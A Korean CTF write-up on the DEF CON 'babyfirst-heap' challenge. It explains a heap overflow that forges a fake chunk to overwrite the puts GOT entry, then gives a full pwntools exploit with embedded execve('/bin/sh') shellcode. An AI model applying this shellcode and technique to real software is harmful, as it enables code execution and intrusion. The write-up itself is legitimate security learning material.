NX와 aslr만 되어있다.
문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.
힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.
근데 풀고 나니 많이 쉬웠던 문제인것 같다.
ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.
이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.
그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.
먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.
memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.
다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.
exploit code
from pwn import * r = process("./babyfirst-heap") elf = ELF("./babyfirst-heap") r.recvuntil("[size=755]") r.recvuntil("loc=") chunk = "0x"+ r.recv(7) chunk = int(chunk,16) log.info("chunk addr = {}".format(hex(chunk))) puts_got = elf.got['puts'] jmp_code = "\xeb\x0c" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload = p32(puts_got-8) payload += p32(chunk+0x24) payload += "\x90"*30 payload += jmp_code payload += "\x90"*191 payload += shellcode payload += p32(0) payload += p32(0x378) payload += p32(0)*65 payload += p32(0x1000) r.sendline(payload) r.interactive()
'CTF' 카테고리의 다른 글
SEC-T CTF PingPong (0) | 2018.09.16 |
---|---|
BCTF 2016 bcloud (0) | 2018.08.24 |
Defcon 2017 smashme (0) | 2018.08.12 |
Plaid 2014 ezhp (0) | 2018.08.12 |
CodeGate2017 messenger (0) | 2018.08.07 |